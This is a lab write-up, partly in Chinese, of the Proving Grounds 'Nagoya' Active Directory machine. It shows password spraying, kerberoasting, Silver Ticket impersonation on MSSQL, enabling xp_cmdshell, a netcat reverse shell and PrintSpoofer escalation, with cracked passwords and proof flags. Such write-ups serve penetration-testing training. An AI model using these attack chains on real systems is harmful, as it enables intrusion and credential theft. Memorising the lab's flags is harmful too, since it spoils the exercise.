┌──(xavier㉿kali)-[~/Desktop/OSCP]└─$ sudo nmap -n -r --min-rate=3500 -sSV 192.168.166.21 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 15:09 CST
Nmap scan report for 192.168.166.21
Host is up (0.25s latency).
Not shown: 987 filtered tcp ports (no-response)PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-07 07:09:23Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds
Build a username wordlist with the names found in the web app, you can try conventions like Offsec.Labs . Spraying easy password combinations like seasons + years is always a good start.
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ crackmapexec smb 192.168.166.21 -u ./users.txt -p 'Summer2023' --shares
SMB 192.168.166.21 445 NAGOYA [*] Windows 10.0 Build 17763 x64 (name:NAGOYA)(domain:nagoya-industries.com)(signing:True)(SMBv1:False)SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Matthew.Harrison:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Emma.Miah:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Rebecca.Bell:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Scott.Gardner:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Terry.Edwards:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Holly.Matthews:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Anne.Jenkins:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Brett.Naylor:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Melissa.Mitchell:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [-] nagoya-industries.com\Craig.Carr:Summer2023 STATUS_LOGON_FAILURE
SMB 192.168.166.21 445 NAGOYA [+] nagoya-industries.com\Fiona.Clark:Summer2023
SMB 192.168.166.21 445 NAGOYA [+] Enumerated shares
SMB 192.168.166.21 445 NAGOYA Share Permissions Remark
SMB 192.168.166.21 445 NAGOYA ----- ----------- ------
SMB 192.168.166.21 445 NAGOYA ADMIN$ Remote Admin
SMB 192.168.166.21 445 NAGOYA C$ Default share
SMB 192.168.166.21 445 NAGOYA IPC$ READ Remote IPC
SMB 192.168.166.21 445 NAGOYA NETLOGON READ Logon server share
SMB 192.168.166.21 445 NAGOYA SYSVOL READ Logon server share
拿到一套有效的账户名密码:Fiona.Clark:Summer2023
登录SMB:
1
2
3
4
5
6
7
8
9
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ smbclient //192.168.166.21/SYSVOL -U Fiona.Clark%Summer2023
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Apr 30 14:31:25 2023 .. D 0 Sun Apr 30 14:31:25 2023 nagoya-industries.com Dr 0 Sun Apr 30 14:31:25 202310328063 blocks of size 4096. 4800089 blocks available
翻文件,找到一个ResetPassword目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
smb: \> ls nagoya-industries.com\scripts\resetpassword\
. D 0 Sun Apr 30 16:07:07 2023 .. D 0 Sun Apr 30 16:07:07 2023 ResetPassword.exe A 5120 Mon May 1 01:04:02 2023 ResetPassword.exe.config A 189 Mon May 1 00:53:50 2023 System.IO.FileSystem.AccessControl.dll A 28552 Tue Oct 20 11:39:30 2020 System.IO.FileSystem.AccessControl.xml A 65116 Sat Oct 10 13:10:54 2020 System.Security.AccessControl.dll A 35952 Sat Oct 23 16:45:08 2021 System.Security.AccessControl.xml A 231631 Wed Oct 20 00:14:20 2021 System.Security.Permissions.dll A 30328 Wed Oct 19 09:34:02 2022 System.Security.Permissions.xml A 8987 Wed Oct 19 09:34:02 2022 System.Security.Principal.Windows.dll A 18312 Tue Oct 20 11:46:28 2020 System.Security.Principal.Windows.xml A 90968 Sat Oct 10 13:10:54 202010328063 blocks of size 4096. 4800089 blocks available
下载config和xml文件,没发现敏感信息。
Hint-2
Foothold 2
Enumerate shares, find the binary and reverse engineer it. Make use of credentials you found. Keep in mind that one can still enumerate ACLs without actually getting a shell
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ impacket-GetUserSPNs nagoya-industries.com/fiona.clark:'Summer2023' -dc-ip 192.168.166.21 -debug -outputfile kerberoast.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] Connecting to 192.168.166.21, port 389, SSL False
[+] Total of records returned 5ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------------- ------------ ------------------------------------------------ -------------------------- -------------------------- ----------
http/nagoya.nagoya-industries.com svc_helpdesk CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com 2023-04-30 15:31:06.190955 <never>
MSSQL/nagoya.nagoya-industries.com svc_mssql 2023-04-30 15:45:33.288595 2023-06-16 05:38:06.145798
[-] CCache file is not found. Skipping...
[+] The specified path is not correct or the KRB5CCNAME environment variable is not defined
[+] Trying to connect to KDC at 192.168.166.21
[+] Trying to connect to KDC at 192.168.166.21
[+] Trying to connect to KDC at 192.168.166.21
[+] Trying to connect to KDC at 192.168.166.21
解密:
1
2
3
4
5
6
7
8
9
10
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23[MD4 HMAC-MD5 RC4])Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Service1 (?)1g 0:00:00:13 DONE (2024-02-07 17:10) 0.07189g/s 1031Kp/s 1106Kc/s 1106KC/s -xlengx-..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ impacket-mssqlclient svc_mssql:'Service1'@127.0.0.1 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)[!] Press helpfor extra shell commands
SQL>
Perform kerberoast, crack the password of service account for mssql. Use everything you gathered to forge a silver ticket. Elevate your privileges on mssql by impersonating to administrator using the silver ticket.
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ impacket-mssqlclient -k nagoya.nagoya-industries.com
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)[!] Press helpfor extra shell commands
SQL> select system_user;--------------------------------------
NAGOYA-IND\Administrator
成功开启并执行xp_cmdshell
1
2
3
4
5
6
7
8
9
10
11
12
SQL> exec xp_cmdshell 'whoami';[-] ERROR(nagoya\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for'xp_cmdshell' in SQL Server Books Online.
SQL> EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;[*] INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> exec xp_cmdshell 'whoami';output
-------
nagoya-ind\svc_mssql
NULL
SQL>
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ nc -nlvp 4444listening on [any]4444 ...
connect to [192.168.45.193] from (UNKNOWN)[192.168.166.21]50232Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nagoya-ind\svc_mssql
PS C:\Windows\system32>
检查当前用户权限:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\tmp> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State==============================================================================SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\tmp> .\PrintSpoofer64.exe -c "C:\tmp\nc64.exe 192.168.45.193 5555 -e powershell"
.\PrintSpoofer64.exe -c "C:\tmp\nc64.exe 192.168.45.193 5555 -e powershell"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
nc收到反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Nagoya]└─$ nc -nlvp 5555listening on [any]5555 ...
connect to [192.168.45.193] from (UNKNOWN)[192.168.166.21]50271Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nagoya-ind\nagoya$
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
fa2dba2c7bdff500c6f6ce31dfa6037e
Flag
1
2
3
4
5
*Evil-WinRM* PS C:\Users\Christopher.Lewis> type C:\local.txt
81950a6ba1771f388080cb994a7fcb33
type C:\Users\Administrator\Desktop\proof.txt
fa2dba2c7bdff500c6f6ce31dfa6037e